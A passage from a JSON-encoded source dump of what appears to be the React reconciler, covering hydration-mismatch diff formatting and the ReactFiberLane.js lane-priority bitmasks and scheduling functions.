= [];\n\n  for (const propName in props) {\n    if (!props.hasOwnProperty(propName)) {\n      continue;\n    }\n    if (propName === 'children') {\n      // Ignored.\n      continue;\n    }\n    const maxLength = maxRowLength - rowPrefix.length - propName.length - 1;\n    const propValue = describePropValue(props[propName], maxLength);\n    remainingRowLength -= propName.length + propValue.length + 2;\n    properties.push(propName + '=' + propValue);\n  }\n\n  if (properties.length === 0) {\n    return rowPrefix + '<' + type + '>\\n';\n  } else if (remainingRowLength > 0) {\n    // We can fit all on one row.\n    return rowPrefix + '<' + type + ' ' + properties.join(' ') + '>\\n';\n  } else {\n    // Split into one row per property:\n    return (\n      rowPrefix +\n      '<' +\n      type +\n      '\\n' +\n      rowPrefix +\n      '  ' +\n      properties.join('\\n' + rowPrefix + '  ') +\n      '\\n' +\n      rowPrefix +\n      '>\\n'\n    );\n  }\n}\n\nfunction describePropertiesDiff(\n  clientObject: {+[propName: string]: mixed},\n  serverObject: {+[propName: string]: mixed},\n  indent: number,\n): string {\n  let properties = '';\n  const remainingServerProperties = assign({}, serverObject);\n  for (const propName in clientObject) {\n    if (!clientObject.hasOwnProperty(propName)) {\n      continue;\n    }\n    delete remainingServerProperties[propName];\n    const maxLength = maxRowLength - indent * 2 - propName.length - 2;\n    const clientValue = clientObject[propName];\n    const clientPropValue = describeValue(clientValue, maxLength);\n    if (serverObject.hasOwnProperty(propName)) {\n      const serverValue = serverObject[propName];\n      const serverPropValue = describeValue(serverValue, maxLength);\n      properties += added(indent) + propName + ': ' + clientPropValue + '\\n';\n      properties += removed(indent) + propName + ': ' + serverPropValue + '\\n';\n    } else {\n      properties += added(indent) + propName + ': ' + clientPropValue + '\\n';\n    }\n  }\n  for (const propName in remainingServerProperties) {\n    if (!remainingServerProperties.hasOwnProperty(propName)) {\n      continue;\n    }\n    const maxLength = maxRowLength - indent * 2 - propName.length - 2;\n    const serverValue = remainingServerProperties[propName];\n    const serverPropValue = describeValue(serverValue, maxLength);\n    properties += removed(indent) + propName + ': ' + serverPropValue + '\\n';\n  }\n  return properties;\n}\n\nfunction describeElementDiff(\n  type: string,\n  clientProps: {+[propName: string]: mixed},\n  serverProps: {+[propName: string]: mixed},\n  indent: number,\n): string {\n  let content = '';\n\n  // Maps any previously unmatched lower case server prop name to its full prop name\n  const serverPropNames: Map<string, string> = new Map();\n\n  for (const propName in serverProps) {\n    if (!serverProps.hasOwnProperty(propName)) {\n      continue;\n    }\n    serverPropNames.set(propName.toLowerCase(), propName);\n  }\n\n  if (serverPropNames.size === 1 && serverPropNames.has('children')) {\n    content += describeExpandedElement(type, clientProps, indentation(indent));\n  } else {\n    for (const propName in clientProps) {\n      if (!clientProps.hasOwnProperty(propName)) {\n        continue;\n      }\n      if (propName === 'children') {\n        // Handled below.\n        continue;\n      }\n      const maxLength = maxRowLength - (indent + 1) * 2 - propName.length - 1;\n      const serverPropName = serverPropNames.get(propName.toLowerCase());\n      if (serverPropName !== undefined) {\n        serverPropNames.delete(propName.toLowerCase());\n        // There's a diff here.\n        const clientValue = clientProps[propName];\n        const serverValue = serverProps[serverPropName];\n        const clientPropValue = describePropValue(clientValue, maxLength);\n        const serverPropValue = describePropValue(serverValue, maxLength);\n        if (\n          typeof clientValue === 'object' &&\n          clientValue !== null &&\n          typeof serverValue === 'object' &&\n          serverValue !== null &&\n          objectName(clientValue) === 'Object' &&\n          objectName(serverValue) === 'Object' &&\n          // Only do the diff if the object has a lot of keys or was shortened.\n          (Object.keys(clientValue).length > 2 ||\n            Object.keys(serverValue).length > 2 ||\n            clientPropValue.indexOf('...') > -1 ||\n            serverPropValue.indexOf('...') > -1)\n        ) {\n          // We're comparing two plain objects. We can diff the nested objects instead.\n          content +=\n            indentation(indent + 1) +\n            propName +\n            '={{\\n' +\n            describePropertiesDiff(clientValue, serverValue, indent + 2) +\n            indentation(indent + 1) +\n            '}}\\n';\n        } else {\n          content +=\n            added(indent + 1) + propName + '=' + clientPropValue + '\\n';\n          content +=\n            removed(indent + 1) + propName + '=' + serverPropValue + '\\n';\n        }\n      } else {\n        // Considered equal.\n        content +=\n          indentation(indent + 1) +\n          propName +\n          '=' +\n          describePropValue(clientProps[propName], maxLength) +\n          '\\n';\n      }\n    }\n\n    serverPropNames.forEach(propName => {\n      if (propName === 'children') {\n        // Handled below.\n        return;\n      }\n      const maxLength = maxRowLength - (indent + 1) * 2 - propName.length - 1;\n      content +=\n        removed(indent + 1) +\n        propName +\n        '=' +\n        describePropValue(serverProps[propName], maxLength) +\n        '\\n';\n    });\n\n    if (content === '') {\n      // No properties\n      content = indentation(indent) + '<' + type + '>\\n';\n    } else {\n      // Had properties\n      content =\n        indentation(indent) +\n        '<' +\n        type +\n        '\\n' +\n        content +\n        indentation(indent) +\n        '>\\n';\n    }\n  }\n\n  const serverChildren = serverProps.children;\n  const clientChildren = clientProps.children;\n  if (\n    typeof serverChildren === 'string' ||\n    typeof serverChildren === 'number' ||\n    typeof serverChildren === 'bigint'\n  ) {\n    // There's a diff of the children.\n    // $FlowFixMe[unsafe-addition]\n    const serverText = '' + serverChildren;\n    let clientText = '';\n    if (\n      typeof clientChildren === 'string' ||\n      typeof clientChildren === 'number' ||\n      typeof clientChildren === 'bigint'\n    ) {\n      // $FlowFixMe[unsafe-addition]\n      clientText = '' + clientChildren;\n    }\n    content += describeTextDiff(clientText, serverText, indent + 1);\n  } else if (\n    typeof clientChildren === 'string' ||\n    typeof clientChildren === 'number' ||\n    typeof clientChildren === 'bigint'\n  ) {\n    if (serverChildren == null) {\n      // This is a new string child.\n      // $FlowFixMe[unsafe-addition]\n      content += describeTextDiff('' + clientChildren, null, indent + 1);\n    } else {\n      // The client has children but it's not considered a difference from the server.\n      // $FlowFixMe[unsafe-addition]\n      content += describeTextDiff('' + clientChildren, undefined, indent + 1);\n    }\n  }\n  return content;\n}\n\nfunction describeSiblingFiber(fiber: Fiber, indent: number): string {\n  const type = describeFiberType(fiber);\n  if (type === null) {\n    // Skip this type of fiber. We currently treat this as a fragment\n    // so it's just part of the parent's children.\n    let flatContent = '';\n    let childFiber = fiber.child;\n    while (childFiber) {\n      flatContent += describeSiblingFiber(childFiber, indent);\n      childFiber = childFiber.sibling;\n    }\n    return flatContent;\n  }\n  return indentation(indent) + '<' + type + '>' + '\\n';\n}\n\nfunction describeNode(node: HydrationDiffNode, indent: number): string {\n  const skipToNode = findNotableNode(node, indent);\n  if (\n    skipToNode !== node &&\n    (node.children.length !== 1 || node.children[0] !== skipToNode)\n  ) {\n    return indentation(indent) + '...\\n' + describeNode(skipToNode, indent + 1);\n  }\n\n  // Prefix with any server components for context\n  let parentContent = '';\n  const debugInfo = node.fiber._debugInfo;\n  if (debugInfo) {\n    for (let i = 0; i < debugInfo.length; i++) {\n      const serverComponentName = debugInfo[i].name;\n      if (typeof serverComponentName === 'string') {\n        parentContent +=\n          indentation(indent) + '<' + serverComponentName + '>' + '\\n';\n        indent++;\n      }\n    }\n  }\n\n  // Self\n  let selfContent = '';\n\n  // We use the pending props since we might be generating a diff before the complete phase\n  // when something throws.\n  const clientProps = node.fiber.pendingProps;\n\n  if (node.fiber.tag === HostText) {\n    // Text Node\n    selfContent = describeTextDiff(clientProps, node.serverProps, indent);\n    indent++;\n  } else {\n    const type = describeFiberType(node.fiber);\n    if (type !== null) {\n      // Element Node\n      if (node.serverProps === undefined) {\n        // Just a reference node for context.\n        selfContent = describeCollapsedElement(type, clientProps, indent);\n        indent++;\n      } else if (node.serverProps === null) {\n        selfContent = describeExpandedElement(type, clientProps, added(indent));\n        indent++;\n      } else if (typeof node.serverProps === 'string') {\n        if (__DEV__) {\n          console.error(\n            'Should not have matched a non HostText fiber to a Text node. This is a bug in React.',\n          );\n        }\n      } else {\n        selfContent = describeElementDiff(\n          type,\n          clientProps,\n          node.serverProps,\n          indent,\n        );\n        indent++;\n      }\n    }\n  }\n\n  // Compute children\n  let childContent = '';\n  let childFiber = node.fiber.child;\n  let diffIdx = 0;\n  while (childFiber && diffIdx < node.children.length) {\n    const childNode = node.children[diffIdx];\n    if (childNode.fiber === childFiber) {\n      // This was a match in the diff.\n      childContent += describeNode(childNode, indent);\n      diffIdx++;\n    } else {\n      // This is an unrelated previous sibling.\n      childContent += describeSiblingFiber(childFiber, indent);\n    }\n    childFiber = childFiber.sibling;\n  }\n\n  if (childFiber && node.children.length > 0) {\n    // If we had any further siblings after the last mismatch, we can't be sure if it's\n    // actually a valid match since it might not have found a match. So we exclude next\n    // siblings to avoid confusion.\n    childContent += indentation(indent) + '...' + '\\n';\n  }\n\n  // Deleted tail nodes\n  const serverTail = node.serverTail;\n  if (node.serverProps === null) {\n    indent--;\n  }\n  for (let i = 0; i < serverTail.length; i++) {\n    const tailNode = serverTail[i];\n    if (typeof tailNode === 'string') {\n      // Removed text node\n      childContent +=\n        removed(indent) +\n        describeTextNode(tailNode, maxRowLength - indent * 2) +\n        '\\n';\n    } else {\n      // Removed element\n      childContent += describeExpandedElement(\n        tailNode.type,\n        tailNode.props,\n        removed(indent),\n      );\n    }\n  }\n\n  return parentContent + selfContent + childContent;\n}\n\nexport function describeDiff(rootNode: HydrationDiffNode): string {\n  try {\n    return '\\n\\n' + describeNode(rootNode, 0);\n  } catch (x) {\n    return '';\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberLane.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {ConcurrentUpdate} from './ReactFiberConcurrentUpdates';\n\n// TODO: Ideally these types would be opaque but that doesn't work well with\n// our reconciler fork infra, since these leak into non-reconciler packages.\n\nexport type Lanes = number;\nexport type Lane = number;\nexport type LaneMap<T> = Array<T>;\n\nimport {\n  enableRetryLaneExpiration,\n  enableSchedulingProfiler,\n  enableTransitionTracing,\n  enableUpdaterTracking,\n  syncLaneExpirationMs,\n  transitionLaneExpirationMs,\n  retryLaneExpirationMs,\n  disableLegacyMode,\n  enableDefaultTransitionIndicator,\n  enableGestureTransition,\n  enableParallelTransitions,\n} from 'shared/ReactFeatureFlags';\nimport {isDevToolsPresent} from './ReactFiberDevToolsHook';\nimport {clz32} from './clz32';\nimport {LegacyRoot} from './ReactRootTags';\n\n// Lane values below should be kept in sync with getLabelForLane(), used by react-devtools-timeline.\n// If those values are changed that package should be rebuilt and redeployed.\n\nexport const TotalLanes = 31;\n\nexport const NoLanes: Lanes = /*                        */ 0b0000000000000000000000000000000;\nexport const NoLane: Lane = /*                          */ 0b0000000000000000000000000000000;\n\nexport const SyncHydrationLane: Lane = /*               */ 0b0000000000000000000000000000001;\nexport const SyncLane: Lane = /*                        */ 0b0000000000000000000000000000010;\nexport const SyncLaneIndex: number = 1;\n\nexport const InputContinuousHydrationLane: Lane = /*    */ 0b0000000000000000000000000000100;\nexport const InputContinuousLane: Lane = /*             */ 0b0000000000000000000000000001000;\n\nexport const DefaultHydrationLane: Lane = /*            */ 0b0000000000000000000000000010000;\nexport const DefaultLane: Lane = /*                     */ 0b0000000000000000000000000100000;\n\nexport const SyncUpdateLanes: Lane =\n  SyncLane | InputContinuousLane | DefaultLane;\n\nexport const GestureLane: Lane = /*                     */ 0b0000000000000000000000001000000;\n\nconst TransitionHydrationLane: Lane = /*                */ 0b0000000000000000000000010000000;\nconst TransitionLanes: Lanes = /*                       */ 0b0000000001111111111111100000000;\nconst TransitionLane1: Lane = /*                        */ 0b0000000000000000000000100000000;\nconst TransitionLane2: Lane = /*                        */ 0b0000000000000000000001000000000;\nconst TransitionLane3: Lane = /*                        */ 0b0000000000000000000010000000000;\nconst TransitionLane4: Lane = /*                        */ 0b0000000000000000000100000000000;\nconst TransitionLane5: Lane = /*                        */ 0b0000000000000000001000000000000;\nconst TransitionLane6: Lane = /*                        */ 0b0000000000000000010000000000000;\nconst TransitionLane7: Lane = /*                        */ 0b0000000000000000100000000000000;\nconst TransitionLane8: Lane = /*                        */ 0b0000000000000001000000000000000;\nconst TransitionLane9: Lane = /*                        */ 0b0000000000000010000000000000000;\nconst TransitionLane10: Lane = /*                       */ 0b0000000000000100000000000000000;\nconst TransitionLane11: Lane = /*                       */ 0b0000000000001000000000000000000;\nconst TransitionLane12: Lane = /*                       */ 0b0000000000010000000000000000000;\nconst TransitionLane13: Lane = /*                       */ 0b0000000000100000000000000000000;\nconst TransitionLane14: Lane = /*                       */ 0b0000000001000000000000000000000;\n\nexport const SomeTransitionLane: Lane = TransitionLane1;\n\nconst TransitionUpdateLanes =\n  TransitionLane1 |\n  TransitionLane2 |\n  TransitionLane3 |\n  TransitionLane4 |\n  TransitionLane5 |\n  TransitionLane6 |\n  TransitionLane7 |\n  TransitionLane8 |\n  TransitionLane9 |\n  TransitionLane10;\nconst TransitionDeferredLanes =\n  TransitionLane11 | TransitionLane12 | TransitionLane13 | TransitionLane14;\n\nconst RetryLanes: Lanes = /*                            */ 0b0000011110000000000000000000000;\nconst RetryLane1: Lane = /*                             */ 0b0000000010000000000000000000000;\nconst RetryLane2: Lane = /*                             */ 0b0000000100000000000000000000000;\nconst RetryLane3: Lane = /*                             */ 0b0000001000000000000000000000000;\nconst RetryLane4: Lane = /*                             */ 0b0000010000000000000000000000000;\n\nexport const SomeRetryLane: Lane = RetryLane1;\n\nexport const SelectiveHydrationLane: Lane = /*          */ 0b0000100000000000000000000000000;\n\nconst NonIdleLanes: Lanes = /*                          */ 0b0000111111111111111111111111111;\n\nexport const IdleHydrationLane: Lane = /*               */ 0b0001000000000000000000000000000;\nexport const IdleLane: Lane = /*                        */ 0b0010000000000000000000000000000;\n\nexport const OffscreenLane: Lane = /*                   */ 0b0100000000000000000000000000000;\nexport const DeferredLane: Lane = /*                    */ 0b1000000000000000000000000000000;\n\n// Any lane that might schedule an update. This is used to detect infinite\n// update loops, so it doesn't include hydration lanes or retries.\nexport const UpdateLanes: Lanes =\n  SyncLane | InputContinuousLane | DefaultLane | TransitionUpdateLanes;\n\nexport const HydrationLanes =\n  SyncHydrationLane |\n  InputContinuousHydrationLane |\n  DefaultHydrationLane |\n  TransitionHydrationLane |\n  SelectiveHydrationLane |\n  IdleHydrationLane;\n\n// This function is used for the experimental timeline (react-devtools-timeline)\n// It should be kept in sync with the Lanes values above.\nexport function getLabelForLane(lane: Lane): string | void {\n  if (enableSchedulingProfiler) {\n    if (lane & SyncHydrationLane) {\n      return 'SyncHydrationLane';\n    }\n    if (lane & SyncLane) {\n      return 'Sync';\n    }\n    if (lane & InputContinuousHydrationLane) {\n      return 'InputContinuousHydration';\n    }\n    if (lane & InputContinuousLane) {\n      return 'InputContinuous';\n    }\n    if (lane & DefaultHydrationLane) {\n      return 'DefaultHydration';\n    }\n    if (lane & DefaultLane) {\n      return 'Default';\n    }\n    if (lane & TransitionHydrationLane) {\n      return 'TransitionHydration';\n    }\n    if (lane & TransitionLanes) {\n      return 'Transition';\n    }\n    if (lane & RetryLanes) {\n      return 'Retry';\n    }\n    if (lane & SelectiveHydrationLane) {\n      return 'SelectiveHydration';\n    }\n    if (lane & IdleHydrationLane) {\n      return 'IdleHydration';\n    }\n    if (lane & IdleLane) {\n      return 'Idle';\n    }\n    if (lane & OffscreenLane) {\n      return 'Offscreen';\n    }\n    if (lane & DeferredLane) {\n      return 'Deferred';\n    }\n  }\n}\n\nexport const NoTimestamp = -1;\n\nlet nextTransitionUpdateLane: Lane = TransitionLane1;\nlet nextTransitionDeferredLane: Lane = TransitionLane11;\nlet nextRetryLane: Lane = RetryLane1;\n\nfunction getHighestPriorityLanes(lanes: Lanes | Lane): Lanes {\n  const pendingSyncLanes = lanes & SyncUpdateLanes;\n  if (pendingSyncLanes !== 0) {\n    return pendingSyncLanes;\n  }\n  switch (getHighestPriorityLane(lanes)) {\n    case SyncHydrationLane:\n      return SyncHydrationLane;\n    case SyncLane:\n      return SyncLane;\n    case InputContinuousHydrationLane:\n      return InputContinuousHydrationLane;\n    case InputContinuousLane:\n      return InputContinuousLane;\n    case DefaultHydrationLane:\n      return DefaultHydrationLane;\n    case DefaultLane:\n      return DefaultLane;\n    case GestureLane:\n      return GestureLane;\n    case TransitionHydrationLane:\n      return TransitionHydrationLane;\n    case TransitionLane1:\n    case TransitionLane2:\n    case TransitionLane3:\n    case TransitionLane4:\n    case TransitionLane5:\n    case TransitionLane6:\n    case TransitionLane7:\n    case TransitionLane8:\n    case TransitionLane9:\n    case TransitionLane10:\n      if (enableParallelTransitions) {\n        return getHighestPriorityLane(lanes);\n      }\n      return lanes & TransitionUpdateLanes;\n    case TransitionLane11:\n    case TransitionLane12:\n    case TransitionLane13:\n    case TransitionLane14:\n      return lanes & TransitionDeferredLanes;\n    case RetryLane1:\n    case RetryLane2:\n    case RetryLane3:\n    case RetryLane4:\n      return lanes & RetryLanes;\n    case SelectiveHydrationLane:\n      return SelectiveHydrationLane;\n    case IdleHydrationLane:\n      return IdleHydrationLane;\n    case IdleLane:\n      return IdleLane;\n    case OffscreenLane:\n      return OffscreenLane;\n    case DeferredLane:\n      // This shouldn't be reachable because deferred work is always entangled\n      // with something else.\n      return NoLanes;\n    default:\n      if (__DEV__) {\n        console.error(\n          'Should have found matching lanes. This is a bug in React.',\n        );\n      }\n      // This shouldn't be reachable, but as a fallback, return the entire bitmask.\n      return lanes;\n  }\n}\n\nexport function getNextLanes(\n  root: FiberRoot,\n  wipLanes: Lanes,\n  rootHasPendingCommit: boolean,\n): Lanes {\n  // Early bailout if there's no pending work left.\n  const pendingLanes = root.pendingLanes;\n  if (pendingLanes === NoLanes) {\n    return NoLanes;\n  }\n\n  let nextLanes: Lanes = NoLanes;\n\n  const suspendedLanes = root.suspendedLanes;\n  const pingedLanes = root.pingedLanes;\n  const warmLanes = root.warmLanes;\n\n  // finishedLanes represents a completed tree that is ready to commit.\n  //\n  // It's not worth doing discarding the completed tree in favor of performing\n  // speculative work. So always check this before deciding to warm up\n  // the siblings.\n  //\n  // Note that this is not set in a \"suspend indefinitely\" scenario, like when\n  // suspending outside of a Suspense boundary, or in the shell during a\n  // transition — only in cases where we are very likely to commit the tree in\n  // a brief amount of time (i.e. below the \"Just Noticeable Difference\"\n  // threshold).\n  //\n\n  // Do not work on any idle work until all the non-idle work has finished,\n  // even if the work is suspended.\n  const nonIdlePendingLanes = pendingLanes & NonIdleLanes;\n  if (nonIdlePendingLanes !== NoLanes) {\n    // First check for fresh updates.\n    const nonIdleUnblockedLanes = nonIdlePendingLanes & ~suspendedLanes;\n    if (nonIdleUnblockedLanes !== NoLanes) {\n      nextLanes = getHighestPriorityLanes(nonIdleUnblockedLanes);\n    } else {\n      // No fresh updates. Check if suspended work has been pinged.\n      const nonIdlePingedLanes = nonIdlePendingLanes & pingedLanes;\n      if (nonIdlePingedLanes !== NoLanes) {\n        nextLanes = getHighestPriorityLanes(nonIdlePingedLanes);\n      } else {\n        // Nothing has been pinged. Check for lanes that need to be prewarmed.\n        if (!rootHasPendingCommit) {\n          const lanesToPrewarm = nonIdlePendingLanes & ~warmLanes;\n          if (lanesToPrewarm !== NoLanes) {\n            nextLanes = getHighestPriorityLanes(lanesToPrewarm);\n          }\n        }\n      }\n    }\n  } else {\n    // The only remaining work is Idle.\n    // TODO: Idle isn't really used anywhere, and the thinking around\n    // speculative rendering has evolved since this was implemented. Consider\n    // removing until we've thought about this again.\n\n    // First check for fresh updates.\n    const unblockedLanes = pendingLanes & ~suspendedLanes;\n    if (unblockedLanes !== NoLanes) {\n      nextLanes = getHighestPriorityLanes(unblockedLanes);\n    } else {\n      // No fresh updates. Check if suspended work has been pinged.\n      if (pingedLanes !== NoLanes) {\n        nextLanes = getHighestPriorityLanes(pingedLanes);\n      } else {\n        // Nothing has been pinged. Check for lanes that need to be prewarmed.\n        if (!rootHasPendingCommit) {\n          const lanesToPrewarm = pendingLanes & ~warmLanes;\n          if (lanesToPrewarm !== NoLanes) {\n            nextLanes = getHighestPriorityLanes(lanesToPrewarm);\n          }\n        }\n      }\n    }\n  }\n\n  if (nextLanes === NoLanes) {\n    // This should only be reachable if we're suspended\n    // TODO: Consider warning in this path if a fallback timer is not scheduled.\n    return NoLanes;\n  }\n\n  // If we're already in the middle of a render, switching lanes will interrupt\n  // it and we'll lose our progress. We should only do this if the new lanes are\n  // higher priority.\n  if (\n    wipLanes !== NoLanes &&\n    wipLanes !== nextLanes &&\n    // If we already suspended with a delay, then interrupting is fine. Don't\n    // bother waiting until the root is complete.\n    (wipLanes & suspendedLanes) === NoLanes\n  ) {\n    const nextLane = getHighestPriorityLane(nextLanes);\n    const wipLane = getHighestPriorityLane(wipLanes);\n    if (\n      // Tests whether the next lane is equal or lower priority than the wip\n      // one. This works because the bits decrease in priority as you go left.\n      nextLane >= wipLane ||\n      // Default priority updates should not interrupt transition updates. The\n      // only difference between default updates and transition updates is that\n      // default updates do not support refresh transitions.\n      (nextLane === DefaultLane && (wipLane & TransitionLanes) !== NoLanes)\n    ) {\n      // Keep working on the existing in-progress tree. Do not interrupt.\n      return wipLanes;\n    }\n  }\n\n  return nextLanes;\n}\n\nexport function getNextLanesToFlushSync(\n  root: FiberRoot,\n  extraLanesToForceSync: Lane | Lanes,\n): Lanes {\n  // Similar to getNextLanes, except instead of choosing the next lanes to work\n  // on based on their priority, it selects all the lanes that have equal or\n  // higher priority than those are given. That way they can be synchronously\n  // rendered in a single batch.\n  //\n  // The main use case is updates scheduled by popstate events, which are\n  // flushed synchronously even though they are transitions.\n  // Note that we intentionally treat this as a sync flush to include any\n  // sync updates in a single pass but also intentionally disables View Transitions\n  // inside popstate. Because they can start synchronously before scroll restoration\n  // happens.\n  const lanesToFlush = SyncUpdateLanes | extraLanesToForceSync;\n\n  // Early bailout if there's no pending work left.\n  const pendingLanes = root.pendingLanes;\n  if (pendingLanes === NoLanes) {\n    return NoLanes;\n  }\n\n  const suspendedLanes = root.suspendedLanes;\n  const pingedLanes = root.pingedLanes;\n\n  // Remove lanes that are suspended (but not pinged)\n  const unblockedLanes = pendingLanes & ~(suspendedLanes & ~pingedLanes);\n  const unblockedLanesWithMatchingPriority =\n    unblockedLanes & getLanesOfEqualOrHigherPriority(lanesToFlush);\n\n  // If there are matching hydration lanes, we should do those by themselves.\n  // Hydration lanes must never include updates.\n  if (unblockedLanesWithMatchingPriority & HydrationLanes) {\n    return (\n      (unblockedLanesWithMatchingPriority & HydrationLanes) | SyncHydrationLane\n    );\n  }\n\n  if (unblockedLanesWithMatchingPriority) {\n    // Always include the SyncLane as part of the result, even if there's no\n    // pending sync work, to indicate the priority of the entire batch of work\n    // is considered Sync.\n    return unblockedLanesWithMatchingPriority | SyncLane;\n  }\n\n  return NoLanes;\n}\n\nexport function checkIfRootIsPrerendering(\n  root: FiberRoot,\n  renderLanes: Lanes,\n): boolean {\n  const pendingLanes = root.pendingLanes;\n  const suspendedLanes = root.suspendedLanes;\n  const pingedLanes = root.pingedLanes;\n  // Remove lanes that are suspended (but not pinged)\n  const unblockedLanes = pendingLanes & ~(suspendedLanes & ~pingedLanes);\n\n  // If there are no unsuspended or pinged lanes, that implies that we're\n  // performing a prerender.\n  return (unblockedLanes & renderLanes) === 0;\n}\n\nexport function getEntangledLanes(root: FiberRoot, renderLanes: Lanes): Lanes {\n  let entangledLanes = renderLanes;\n\n  if ((entangledLanes & InputContinuousLane) !== NoLanes) {\n    // When updates are sync by default, we entangle continuous priority updates\n    // and default updates, so they render in the same batch. The only reason\n    // they use separate lanes is because continuous updates should interrupt\n    // transitions, but default updates should not.\n    entangledLanes |= entangledLanes & DefaultLane;\n  }\n\n  // Check for entangled lanes and add them to the batch.\n  //\n  // A lane is said to be entangled with another when it's not allowed to render\n  // in a batch that does not also include the other lane. Typically we do this\n  // when multiple updates have the same source, and we only want to respond to\n  // the most recent event from that source.\n  //\n  // Note that we apply entanglements *after* checking for partial work above.\n  // This means that if a lane is entangled during an interleaved event while\n  // it's already rendering, we won't interrupt it. This is intentional, since\n  // entanglement is usually \"best effort\": we'll try our best to render the\n  // lanes in the same batch, but it's not worth throwing out partially\n  // completed work in order to do it.\n  // TODO: Reconsider this. The counter-argument is that the partial work\n  // represents an intermediate state, which we don't want to show to the user.\n  // And by spending extra time finishing it, we're increasing the amount of\n  // time it takes to show the final state, which is what they are actually\n  // waiting for.\n  //\n  // For those exceptions where entanglement is semantically important,\n  // we should ensure that there is no partial work at the\n  // time we apply the entanglement.\n  const allEntangledLanes = root.entangledLanes;\n  if (allEntangledLanes !== NoLanes) {\n    const entanglements = root.entanglements;\n    let lanes = entangledLanes & allEntangledLanes;\n    while (lanes > 0) {\n      const index = pickArbitraryLaneIndex(lanes);\n      const lane = 1 << index;\n\n      entangledLanes |= entanglements[index];\n\n      lanes &= ~lane;\n    }\n  }\n\n  return entangledLanes;\n}\n\nfunction computeExpirationTime(lane: Lane, currentTime: number) {\n  switch (lane) {\n    case SyncHydrationLane:\n    case SyncLane:\n    case InputContinuousHydrationLane:\n    case InputContinuousLane:\n    case GestureLane:\n      // User interactions should expire slightly more quickly.\n      //\n      // NOTE: This is set to the corresponding constant as in Scheduler.js.\n      // When we made it larger, a product metric in www regressed, suggesting\n      // there's a user interaction that's being starved by a series of\n      // synchronous updates. If that theory is correct, the proper solution is\n      // to fix the starvation. However, this scenario supports the idea that\n      // expiration times are an important safeguard when starvation\n      // does happen.\n      return currentTime + syncLaneExpirationMs;\n    case DefaultHydrationLane:\n    case DefaultLane:\n    case TransitionHydrationLane:\n    case TransitionLane1:\n    case TransitionLane2:\n    case TransitionLane3:\n    case TransitionLane4:\n    case TransitionLane5:\n    case TransitionLane6:\n    case TransitionLane7:\n    case TransitionLane8:\n    case TransitionLane9:\n    case TransitionLane10:\n    case TransitionLane11:\n    case TransitionLane12:\n    case TransitionLane13:\n    case TransitionLane14:\n      return currentTime + transitionLaneExpirationMs;\n    case RetryLane1:\n    case RetryLane2:\n    case RetryLane3:\n    case RetryLane4:\n      // TODO: Retries should be allowed to expire if they are CPU bound for\n      // too long, but when I made this change it caused a spike in browser\n      // crashes. There must be some other underlying bug; not super urgent but\n      // ideally should figure out why and fix it. Unfortunately we don't have\n      // a repro for the crashes, only detected via production metrics.\n      return enableRetryLaneExpiration\n        ? currentTime + retryLaneExpirationMs\n        : NoTimestamp;\n    case SelectiveHydrationLane:\n    case IdleHydrationLane:\n    case IdleLane:\n    case OffscreenLane:\n    case DeferredLane:\n      // Anything idle priority or lower should never expire.\n      return NoTimestamp;\n    default:\n      if (__DEV__) {\n        console.error(\n          'Should have found matching lanes. This is a bug in React.',\n        );\n      }\n      return NoTimestamp;\n  }\n}\n\nexport function markStarvedLanesAsExpired(\n  root: FiberRoot,\n  currentTime: number,\n): void {\n  // TODO: This gets called every time we yield. We can optimize by storing\n  // the earliest expiration time on the root. Then use that to quickly bail out\n  // of this function.\n\n  const pendingLanes = root.pendingLanes;\n  const suspendedLanes = root.suspendedLanes;\n  const pingedLanes = root.pingedLanes;\n  const expirationTimes = root.expirationTimes;\n\n  // Iterate through the pending lanes and check if we've reached their\n  // expiration time. If so, we'll assume the update is being starved and mark\n  // it as expired to force it to finish.\n  // TODO: We should be able to replace this with upgradePendingLanesToSync\n  //\n  // We exclude retry lanes because those must always be time sliced, in order\n  // to unwrap uncached promises.\n  // TODO: Write a test for this\n  let lanes = enableRetryLaneExpiration\n    ? pendingLanes\n    : pendingLanes & ~RetryLanes;\n  while (lanes > 0) {\n    const index = pickArbitraryLaneIndex(lanes);\n    const lane = 1 << index;\n\n    const expirationTime = expirationTimes[index];\n    if (expirationTime === NoTimestamp) {\n      // Found a pending lane with no expiration time. If it's not suspended, or\n      // if it's pinged, assume it's CPU-bound. Compute a new expiration time\n      // using the current time.\n      if (\n        (lane & suspendedLanes) === NoLanes ||\n        (lane & pingedLanes) !== NoLanes\n      ) {\n        // Assumes timestamps are monotonically increasing.\n        expirationTimes[index] = computeExpirationTime(lane, currentTime);\n      }\n    } else if (expirationTime <= currentTime) {\n      // This lane expired\n      root.expiredLanes |= lane;\n    }\n\n    lanes &= ~lane;\n  }\n}\n\n// This returns the highest priority pending lanes regardless of whether they\n// are suspended.\nexport function getHighestPriorityPendingLanes(root: FiberRoot): Lanes {\n  return getHighestPriorityLanes(root.pendingLanes);\n}\n\nexport function getLanesToRetrySynchronouslyOnError(\n  root: FiberRoot,\n  originallyAttemptedLanes: Lanes,\n): Lanes {\n  if (root.errorRecoveryDisabledLanes & originallyAttemptedLanes) {\n    // The error recovery mechanism is disabled until these lanes are cleared.\n    return NoLanes;\n  }\n\n  const everythingButOffscreen = root.pendingLanes & ~OffscreenLane;\n  if (everythingButOffscreen !== NoLanes) {\n    return everythingButOffscreen;\n  }\n  if (everythingButOffscreen & OffscreenLane) {\n    return OffscreenLane;\n  }\n  return NoLanes;\n}\n\nexport function includesSyncLane(lanes: Lanes): boolean {\n  return (lanes & (SyncLane | SyncHydrationLane)) !== NoLanes;\n}\n\nexport function includesNonIdleWork(lanes: Lanes): boolean {\n  return (lanes & NonIdleLanes) !== NoLanes;\n}\nexport function includesOnlyRetries(lanes: Lanes): boolean {\n  return (lanes & RetryLanes) === lanes;\n}\nexport function includesOnlyNonUrgentLanes(lanes: Lanes): boolean {\n  // TODO: Should hydration lanes be included here? This function is only\n  // used in `updateDeferredValueImpl`.\n  const UrgentLanes =\n    SyncLane | InputContinuousLane | DefaultLane | GestureLane;\n  return (lanes & UrgentLanes) === NoLanes;\n}\nexport function includesOnlyTransitions(lanes: Lanes): boolean {\n  return (lanes & TransitionLanes) === lanes;\n}\n\nexport function includesTransitionLane(lanes: Lanes): boolean {\n  return (lanes & TransitionLanes) !== NoLanes;\n}\n\nexport function 